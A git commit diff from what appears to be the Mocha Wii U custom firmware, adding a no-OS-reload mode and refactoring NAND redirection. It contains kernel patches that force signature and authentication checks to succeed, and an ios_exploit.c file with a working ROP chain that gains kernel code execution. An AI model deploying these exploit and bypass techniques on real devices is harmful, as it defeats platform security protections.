- fixed bug with re-initialization of EEPROM and OTP dump on SD card

- added new feature which allows you to disable os full relaunch (only possible in combination with sysNAND, not redNAND)
- added new option which allows to return to HBL after executing the patches and not launch to System Menu (only in combination with disabled OS full relaunch)
- some clean ups

NOTE to the new feature:
The new feature to disable full OS reload behaves similar to the simple signature patcher except that it setups execution memory region from kernel for wupserver and iosuhax dev node code and starts those. So it's a fast simple signature patcher with the addition of wupserver and iosuhax dev node. Another addition to the simple sign patcher is that the patches reload themself when exiting settings. Launch image is disabled for this method though.
This commit is contained in:
dimok789 2016-12-14 14:14:12 +01:00
parent 47c03cb6dd
commit b65b6c86cc
17 changed files with 822 additions and 545 deletions

View File

@ -27,14 +27,15 @@
#include "types.h" #include "types.h"
#define NAND_DUMP_SIGNATURE_SECTOR 0x01 #define NAND_DUMP_SIGNATURE_SECTOR 0x01
#define NAND_MAX_DESC_TYPES 5
#define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP #define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP
#define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC ' #define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC '
#define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2' #define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2'
#define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC ' #define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC '
#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP '
#define NAND_DESC_TYPE_SEEPROM 0x45455052 // 'EEPR' #define NAND_DESC_TYPE_SEEPROM 0x45455052 // 'EEPR'
#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP '
typedef struct _stdio_nand_desc_t typedef struct _stdio_nand_desc_t
{ {
@ -46,7 +47,7 @@ typedef struct _stdio_nand_desc_t
typedef struct _sdio_nand_signature_sector_t typedef struct _sdio_nand_signature_sector_t
{ {
u64 signature; // HAXXDUMP u64 signature; // HAXXDUMP
stdio_nand_desc_t nand_descriptions[5]; stdio_nand_desc_t nand_descriptions[NAND_MAX_DESC_TYPES];
} __attribute__((packed)) sdio_nand_signature_sector_t; } __attribute__((packed)) sdio_nand_signature_sector_t;
int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors); int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors);

View File

@ -0,0 +1,102 @@
/***************************************************************************
* Copyright (C) 2016
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
***************************************************************************/
#include "config.h"
#include "utils.h"
#include "types.h"
#include "elf_patcher.h"
#include "kernel_patches.h"
#include "ios_mcp_patches.h"
#include "../../ios_mcp/ios_mcp_syms.h"
typedef struct
{
u32 paddr;
u32 vaddr;
u32 size;
u32 domain;
u32 type;
u32 cached;
} ios_map_shared_info_t;
void instant_patches_setup(void)
{
// apply IOS ELF launch hook
*(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios);
// patch FSA raw access
*(volatile u32*)0x1070FAE8 = 0x05812070;
*(volatile u32*)0x1070FAEC = 0xEAFFFFF9;
if(cfw_config.noIosReload)
{
int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88;
// patch kernel dev node registration
*(volatile u32*)0x081430B4 = 1;
// fix 10 minute timeout that crashes MCP after 10 minutes of booting
*(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
// patch cached cert check
// start our MCP thread directly on first title change
kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000);
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread);
// patch MCP authentication check
*(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr
// patch IOSC_VerifyPubkeySign to always succeed
*(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
// allow custom bootLogoTex and bootMovie.h264
*(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
*(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
// allow any region title launch
*(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
// set zero to start thread directly on first title change
*(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0;
// down display launch image at this state
*(volatile u32*)(_text_start - 4 - 0x05100000 + 0x13D80000) = 0;
ios_map_shared_info_t map_info;
map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000;
map_info.vaddr = 0x050BD000;
map_info.size = 0x3000;
map_info.domain = 1; // MCP
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read/write
map_info.cached = 0xFFFFFFFF;
_iosMapSharedUserExecution(&map_info); // actually a bss section but oh well it will have read/write
map_info.paddr = 0x05116000 - 0x05100000 + 0x13D80000;
map_info.vaddr = 0x05116000;
map_info.size = 0x4000;
map_info.domain = 1; // MCP
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read write
map_info.cached = 0xFFFFFFFF;
_iosMapSharedUserExecution(&map_info);
}
}

View File

@ -0,0 +1,29 @@
/***************************************************************************
* Copyright (C) 2016
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
***************************************************************************/
#ifndef _INSTANT_PATCHES_SETUP_H_
#define _INSTANT_PATCHES_SETUP_H_
void instant_patches_setup(void);
#endif

View File

@ -40,12 +40,11 @@ u32 bsp_get_phys_code_base(void)
int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound) int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound)
{ {
int(*disable_interrupts)() = (int(*)())0x0812E778; void *tmpBuffer = (void*)0x00140000;
int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C;
if(dumpFound) if(dumpFound)
{ {
int res = FSA_SDReadRawSectors((void*)0x00140000, baseSector, 1); int res = FSA_SDReadRawSectors(tmpBuffer, baseSector, 1);
if(res < 0) if(res < 0)
return res; return res;
} }
@ -53,13 +52,13 @@ int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound)
{ {
//! just clear out the seeprom and it will be re-initialized on BSP module //! just clear out the seeprom and it will be re-initialized on BSP module
//! TODO: maybe read in the seeprom here from SPI or BSP module //! TODO: maybe read in the seeprom here from SPI or BSP module
kernel_memset((void*)0x00140000, 0, 0x200); kernel_memset(tmpBuffer, 0, 0x200);
} }
int level = disable_interrupts(); int level = disable_interrupts();
unsigned int control_register = disable_mmu(); unsigned int control_register = disable_mmu();
kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), (void*)0x00140000, 0x200); kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), tmpBuffer, 0x200);
restore_mmu(control_register); restore_mmu(control_register);
enable_interrupts(level); enable_interrupts(level);

View File

@ -52,6 +52,8 @@ void mcp_run_patches(u32 ios_elf_start)
section_write(ios_elf_start, 0x050600FC, "/vol/system_slc/config/syshax.xml", 0x24); section_write(ios_elf_start, 0x050600FC, "/vol/system_slc/config/syshax.xml", 0x24);
} }
section_write_word(ios_elf_start, (_text_start - 4), cfw_config.launchImage);
u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t); u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t);
patch_table_entries(ios_elf_start, mcp_patches_table, patch_count); patch_table_entries(ios_elf_start, mcp_patches_table, patch_count);
} }

View File

@ -23,6 +23,9 @@
***************************************************************************/ ***************************************************************************/
#include "types.h" #include "types.h"
#include "elf_patcher.h" #include "elf_patcher.h"
#include "ios_mcp_patches.h"
#include "ios_fs_patches.h"
#include "ios_bsp_patches.h"
#include "kernel_patches.h" #include "kernel_patches.h"
#include "exception_handler.h" #include "exception_handler.h"
#include "fsa.h" #include "fsa.h"
@ -63,11 +66,11 @@ static int kernel_read_otp_internal(int index, void* out_buf, u32 size)
return 0; return 0;
} }
int kernel_init_otp_buffer(u32 sd_sector, int tagValid) int kernel_init_otp_buffer(u32 sd_sector, int dumpFound)
{ {
int res; int res;
if(tagValid) if(dumpFound)
{ {
res = FSA_SDReadRawSectors(otp_buffer, sd_sector, 2); res = FSA_SDReadRawSectors(otp_buffer, sd_sector, 2);
} }
@ -77,13 +80,43 @@ int kernel_init_otp_buffer(u32 sd_sector, int tagValid)
res = orig_kernel_read_otp_internal(0, otp_buffer, 0x400); res = orig_kernel_read_otp_internal(0, otp_buffer, 0x400);
} }
if((res == 0) && !tagValid) if((res == 0) && (dumpFound == 0))
{ {
FSA_SDWriteRawSectors(otp_buffer, sd_sector, 2); FSA_SDWriteRawSectors(otp_buffer, sd_sector, 2);
} }
return res; return res;
} }
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
{
void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050;
if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000)
{
int level = disable_interrupts();
unsigned int control_register = disable_mmu();
u32 ios_elf_start = launch_address + 0x804 - 0x300;
//! try to keep the order of virt. addresses to reduce the memmove amount
mcp_run_patches(ios_elf_start);
kernel_run_patches(ios_elf_start);
if(cfw_config.redNAND)
{
fs_run_patches(ios_elf_start);
if(cfw_config.seeprom_red)
bsp_run_patches(ios_elf_start);
}
restore_mmu(control_register);
enable_interrupts(level);
}
kernel_launch_bootrom(launch_address, L, C, H);
}
void kernel_run_patches(u32 ios_elf_start) void kernel_run_patches(u32 ios_elf_start)
{ {
section_write(ios_elf_start, (u32)__KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START); section_write(ios_elf_start, (u32)__KERNEL_CODE_START, __KERNEL_CODE_START, __KERNEL_CODE_END - __KERNEL_CODE_START);
@ -106,3 +139,4 @@ void kernel_run_patches(u32 ios_elf_start)
u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t); u32 patch_count = (u32)(((u8*)kernel_patches_table_end) - ((u8*)kernel_patches_table)) / sizeof(patch_table_t);
patch_table_entries(ios_elf_start, kernel_patches_table, patch_count); patch_table_entries(ios_elf_start, kernel_patches_table, patch_count);
} }

View File

@ -22,15 +22,13 @@
* distribution. * distribution.
***************************************************************************/ ***************************************************************************/
#include "types.h" #include "types.h"
#include "elf_abi.h" #include "config.h"
#include "elf_patcher.h" #include "utils.h"
#include "kernel_patches.h" #include "redirection_setup.h"
#include "ios_mcp_patches.h" #include "ios_mcp_patches.h"
#include "ios_fs_patches.h" #include "ios_fs_patches.h"
#include "ios_bsp_patches.h" #include "ios_bsp_patches.h"
#include "config.h" #include "instant_patches.h"
#include "fsa.h"
#include "utils.h"
#define USB_PHYS_CODE_BASE 0x101312D0 #define USB_PHYS_CODE_BASE 0x101312D0
@ -66,46 +64,8 @@ static const char repairData_usb_root_thread[] = {
0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20, 0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20,
}; };
void kernel_launch_ios(u32 launch_address, u32 L, u32 C, u32 H)
{
void (*kernel_launch_bootrom)(u32 launch_address, u32 L, u32 C, u32 H) = (void*)0x0812A050;
if(*(u32*)(launch_address - 0x300 + 0x1AC) == 0x00DFD000)
{
int(*disable_interrupts)() = (int(*)())0x0812E778;
int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C;
int level = disable_interrupts();
unsigned int control_register = disable_mmu();
u32 ios_elf_start = launch_address + 0x804 - 0x300;
//! try to keep the order of virt. addresses to reduce the memmove amount
mcp_run_patches(ios_elf_start);
kernel_run_patches(ios_elf_start);
if(cfw_config.redNAND)
{
fs_run_patches(ios_elf_start);
if(cfw_config.seeprom_red)
bsp_run_patches(ios_elf_start);
}
restore_mmu(control_register);
enable_interrupts(level);
}
kernel_launch_bootrom(launch_address, L, C, H);
}
int BSP_EEPROM_ReadData(void *buffer, int offset, int size);
int _main() int _main()
{ {
int(*disable_interrupts)() = (int(*)())0x0812E778;
int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C;
void(*invalidate_icache)() = (void(*)())0x0812DCF0; void(*invalidate_icache)() = (void(*)())0x0812DCF0;
void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164; void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164;
void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160; void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160;
@ -159,16 +119,10 @@ int _main()
kernel_memcpy((void*)MCP_LAUNCH_IMG_PHYS_ADDR, payloads->data, payloads->size); kernel_memcpy((void*)MCP_LAUNCH_IMG_PHYS_ADDR, payloads->data, payloads->size);
payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) ); payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
} }
else
{
*(u32*)MCP_LAUNCH_IMG_PHYS_ADDR = 0;
}
// patch FSA raw access // run all instant patches as necessary
*(volatile u32*)0x1070FAE8 = 0x05812070; instant_patches_setup();
*(volatile u32*)0x1070FAEC = 0xEAFFFFF9;
*(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios);
*(volatile u32*)(0x1555500) = 0; *(volatile u32*)(0x1555500) = 0;
/* REENABLE MMU */ /* REENABLE MMU */
@ -181,65 +135,7 @@ int _main()
if(cfw_config.redNAND) if(cfw_config.redNAND)
{ {
int seepromDumpFound = 0; redirection_setup();
u32 seepromDumpBaseSector = 0x4FF;
int otpDumpFound = 0;
u32 otpDumpBaseSector = 0x4FD;
int writeInfoSector = 0;
sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000;
kernel_memset(infoSector, 0x00, 0x200);
FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1);
if(infoSector->signature == NAND_DUMP_SIGNATURE)
{
int i;
for(i = 0; i < 6; i++)
{
if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM)
{
seepromDumpFound = 1;
seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector;
}
if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP)
{
otpDumpFound = 1;
otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector;
}
}
}
if(cfw_config.seeprom_red)
{
bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound);
if(seepromDumpBaseSector == 0)
{
infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM;
infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector;
infoSector->nand_descriptions[3].sector_count = 1;
writeInfoSector++;
}
}
if(cfw_config.otp_red)
{
kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound);
if(otpDumpFound == 0)
{
infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP;
infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector;
infoSector->nand_descriptions[4].sector_count = 2;
writeInfoSector++;
}
}
if(writeInfoSector > 1)
{
FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1);
}
} }
return 0; return 0;

View File

@ -0,0 +1,90 @@
/***************************************************************************
* Copyright (C) 2016
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
***************************************************************************/
#include "config.h"
#include "utils.h"
#include "fsa.h"
#include "kernel_patches.h"
#include "ios_bsp_patches.h"
void redirection_setup(void)
{
int seepromDumpFound = 0;
u32 seepromDumpBaseSector = 0x4FF;
int otpDumpFound = 0;
u32 otpDumpBaseSector = 0x4FD;
int writeInfoSector = 0;
sdio_nand_signature_sector_t *infoSector = (sdio_nand_signature_sector_t*)0x00141000;
kernel_memset(infoSector, 0x00, 0x200);
FSA_SDReadRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1);
if(infoSector->signature == NAND_DUMP_SIGNATURE)
{
int i;
for(i = 0; i < NAND_MAX_DESC_TYPES; i++)
{
if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_SEEPROM)
{
seepromDumpFound = 1;
seepromDumpBaseSector = infoSector->nand_descriptions[i].base_sector;
}
if(infoSector->nand_descriptions[i].nand_type == NAND_DESC_TYPE_OTP)
{
otpDumpFound = 1;
otpDumpBaseSector = infoSector->nand_descriptions[i].base_sector;
}
}
}
if(cfw_config.seeprom_red)
{
bsp_init_seeprom_buffer(seepromDumpBaseSector, seepromDumpFound);
if(seepromDumpFound == 0)
{
infoSector->nand_descriptions[3].nand_type = NAND_DESC_TYPE_SEEPROM;
infoSector->nand_descriptions[3].base_sector = seepromDumpBaseSector;
infoSector->nand_descriptions[3].sector_count = 1;
writeInfoSector++;
}
}
if(cfw_config.otp_red)
{
kernel_init_otp_buffer(otpDumpBaseSector, otpDumpFound);
if(otpDumpFound == 0)
{
infoSector->nand_descriptions[4].nand_type = NAND_DESC_TYPE_OTP;
infoSector->nand_descriptions[4].base_sector = otpDumpBaseSector;
infoSector->nand_descriptions[4].sector_count = 2;
writeInfoSector++;
}
}
if(writeInfoSector > 0)
{
FSA_SDWriteRawSectors(infoSector, NAND_DUMP_SIGNATURE_SECTOR, 1);
}
}

View File

@ -0,0 +1,29 @@
/***************************************************************************
* Copyright (C) 2016
* by Dimok
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
***************************************************************************/
#ifndef _REDIRECTION_SETUP_H_
#define _REDIRECTION_SETUP_H_
void redirection_setup(void);
#endif

View File

@ -29,6 +29,8 @@
#define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04) #define kernel_memcpy ((void * (*)(void*, const void*, int))0x08131D04)
#define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0) #define kernel_memset ((void *(*)(void*, int, unsigned int))0x08131DA0)
#define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) #define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8)
#define disable_interrupts ((int(*)())0x0812E778)
#define enable_interrupts ((int(*)(int))0x0812E78C)
#define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) #define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40)
void reverse_memcpy(void* dest, const void* src, unsigned int size); void reverse_memcpy(void* dest, const void* src, unsigned int size);

View File

@ -11,6 +11,7 @@
#include "ipc.h" #include "ipc.h"
static bool serverKilled; static bool serverKilled;
static int threadsStarted = 0;
// overwrites command_buffer with response // overwrites command_buffer with response
// returns length of response (or 0 for no response, negative for error) // returns length of response (or 0 for no response, negative for error)
@ -225,15 +226,23 @@ int _main(void *arg)
return 0; return 0;
} }
void _startMainThread(void) int _startMainThread(void)
{ {
drawSplashScreen(); if(threadsStarted == 0)
{
threadsStarted = 1;
memset((void*)0x050BD000, 0, 0x3000); int * launchImageConfigured = (int *)(0x05116000 - 4);
if(*launchImageConfigured != 0)
{
drawSplashScreen();
}
int threadId = svcCreateThread(_main, 0, (u32*)(0x050BD000 + 0x1000), 0x1000, 0x78, 1); int threadId = svcCreateThread(_main, 0, (u32*)(0x050BD000 + 0x1000), 0x1000, 0x78, 1);
if(threadId >= 0) if(threadId >= 0)
svcStartThread(threadId); svcStartThread(threadId);
ipc_init(); ipc_init();
}
return 0;
} }

View File

@ -79,6 +79,8 @@ void default_config(cfw_config_t * config)
config->viewMode = 0; config->viewMode = 0;
config->directLaunch = 0; config->directLaunch = 0;
config->launchImage = 1; config->launchImage = 1;
config->noIosReload = 0;
config->launchSysMenu = 1;
config->redNAND = 0; config->redNAND = 0;
config->seeprom_red = 0; config->seeprom_red = 0;
config->otp_red = 0; config->otp_red = 0;
@ -116,6 +118,10 @@ int read_config(cfw_config_t * config)
config->syshaxXml = atoi(value); config->syshaxXml = atoi(value);
else if(strcmp(option, "viewMode") == 0) else if(strcmp(option, "viewMode") == 0)
config->viewMode = atoi(value); config->viewMode = atoi(value);
else if(strcmp(option, "noIosReload") == 0)
config->noIosReload = atoi(value);
else if(strcmp(option, "launchSysMenu") == 0)
config->launchSysMenu = atoi(value);
} }
} }
@ -135,6 +141,8 @@ int write_config(cfw_config_t * config)
fprintf(pFile, "viewMode=%i\n", config->viewMode); fprintf(pFile, "viewMode=%i\n", config->viewMode);
fprintf(pFile, "directLaunch=%i\n", config->directLaunch); fprintf(pFile, "directLaunch=%i\n", config->directLaunch);
fprintf(pFile, "launchImage=%i\n", config->launchImage); fprintf(pFile, "launchImage=%i\n", config->launchImage);
fprintf(pFile, "noIosReload=%i\n", config->noIosReload);
fprintf(pFile, "launchSysMenu=%i\n", config->launchSysMenu);
fprintf(pFile, "redNAND=%i\n", config->redNAND); fprintf(pFile, "redNAND=%i\n", config->redNAND);
fprintf(pFile, "seeprom_red=%i\n", config->seeprom_red); fprintf(pFile, "seeprom_red=%i\n", config->seeprom_red);
fprintf(pFile, "otp_red=%i\n", config->otp_red); fprintf(pFile, "otp_red=%i\n", config->otp_red);

View File

@ -24,7 +24,7 @@
#ifndef CFW_CONFIG_H_ #ifndef CFW_CONFIG_H_
#define CFW_CONFIG_H_ #define CFW_CONFIG_H_
#define APP_VERSION "v0.1" #define APP_VERSION "v0.2"
#define APP_PATH "sd:/wiiu/apps/mocha" #define APP_PATH "sd:/wiiu/apps/mocha"
#define CONFIG_PATH (APP_PATH "/config.ini") #define CONFIG_PATH (APP_PATH "/config.ini")
@ -33,6 +33,8 @@ typedef struct
int viewMode; int viewMode;
int directLaunch; int directLaunch;
int launchImage; int launchImage;
int noIosReload;
int launchSysMenu;
int redNAND; int redNAND;
int seeprom_red; int seeprom_red;
int otp_red; int otp_red;

412
src/ios_exploit.c Normal file
View File

@ -0,0 +1,412 @@
#include <string.h>
#include <stdio.h>
#include "dynamic_libs/os_functions.h"
#include "cfw_config.h"
#define ALIGN4(x) (((x) + 3) & ~3)
#define CHAIN_START 0x1016AD40
#define SHUTDOWN 0x1012EE4C
#define SIMPLE_RETURN 0x101014E4
#define SOURCE (0x120000)
#define IOS_CREATETHREAD 0x1012EABC
#define ARM_CODE_BASE 0x08135000
#define REPLACE_SYSCALL 0x081298BC
extern const u8 launch_image_tga[];
extern const u32 launch_image_tga_size;
static void uhs_exploit_init(int uhs_handle, cfw_config_t * config);
static int uhs_write32(int uhs_handle, int arm_addr, int val);
//!------Variables used in exploit------
static int *pretend_root_hub = (int*)0xF5003ABC;
static int *ayylmao = (int*)0xF4500000;
//!-------------------------------------
typedef struct
{
u32 size;
u8 data[0];
} payload_info_t;
/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */
#include "../ios_kernel/ios_kernel.bin.h"
#include "../ios_usb/ios_usb.bin.h"
#include "../ios_fs/ios_fs.bin.h"
#include "../ios_bsp/ios_bsp.bin.h"
#include "../ios_mcp/ios_mcp.bin.h"
/* ROP CHAIN STARTS HERE (0x1015BD78) */
static const int final_chain[] = {
0x101236f3, // 0x00 POP {R1-R7,PC}
0x0, // 0x04 arg
0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR
0x68, // 0x0C stacksize
0x10101638, // 0x10
0x0, // 0x14
0x0, // 0x18
0x0, // 0x1C
0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x30
0x0, // 0x34
IOS_CREATETHREAD, // 0x38
0x1, // 0x3C
0x2, // 0x40
0x10123a9f, // 0x44 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE92D4010, // 0x4C value: PUSH {R4,LR}
0x0, // 0x50
0x10123a8b, // 0x54 POP {R3,R4,PC}
0x1, // 0x58 R3 must be 1 for the arbitrary write
0x0, // 0x5C
0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x64
0x0, // 0x68
0x1012EE64, // 0x6C set_panic_behavior (arbitrary write)
0x0, // 0x70
0x0, // 0x74
0x10123a9f, // 0x78 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A04000, // 0x80 value: MOV R4, R0
0x0, // 0x84
0x10123a8b, // 0x88 POP {R3,R4,PC}
0x1, // 0x8C R3 must be 1 for the arbitrary write
0x0, // 0x90
0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x98
0x0, // 0x9C
0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write)
0x0, // 0xA4
0x0, // 0xA8
0x10123a9f, // 0xAC POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF
0x0, // 0xB8
0x10123a8b, // 0xBC POP {R3,R4,PC}
0x1, // 0xC0 R3 must be 1 for the arbitrary write
0x0, // 0xC4
0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0xCC
0x0, // 0xD0
0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write)
0x0, // 0xD8
0x0, // 0xDC
0x10123a9f, // 0xE0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0)
0x0, // 0xEC
0x10123a8b, // 0xF0 POP {R3,R4,PC}
0x1, // 0xF4 R3 must be 1 for the arbitrary write
0x0, // 0xF8
0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x100
0x0, // 0x104
0x1012EE64, // 0x108 set_panic_behavior (arbitrary write)
0x0, // 0x10C
0x0, // 0x110
0x10123a9f, // 0x114 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A00004, // 0x11C value: MOV R0, R4
0x0, // 0x120
0x10123a8b, // 0x124 POP {R3,R4,PC}
0x1, // 0x128 R3 must be 1 for the arbitrary write
0x0, // 0x12C
0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x134
0x0, // 0x138
0x1012EE64, // 0x13C set_panic_behavior (arbitrary write)
0x0, // 0x140
0x0, // 0x144
0x10123a9f, // 0x148 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY
0x0, // 0x154
0x10123a8b, // 0x158 POP {R3,R4,PC}
0x1, // 0x15C R3 must be 1 for the arbitrary write
0x0, // 0x160
0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
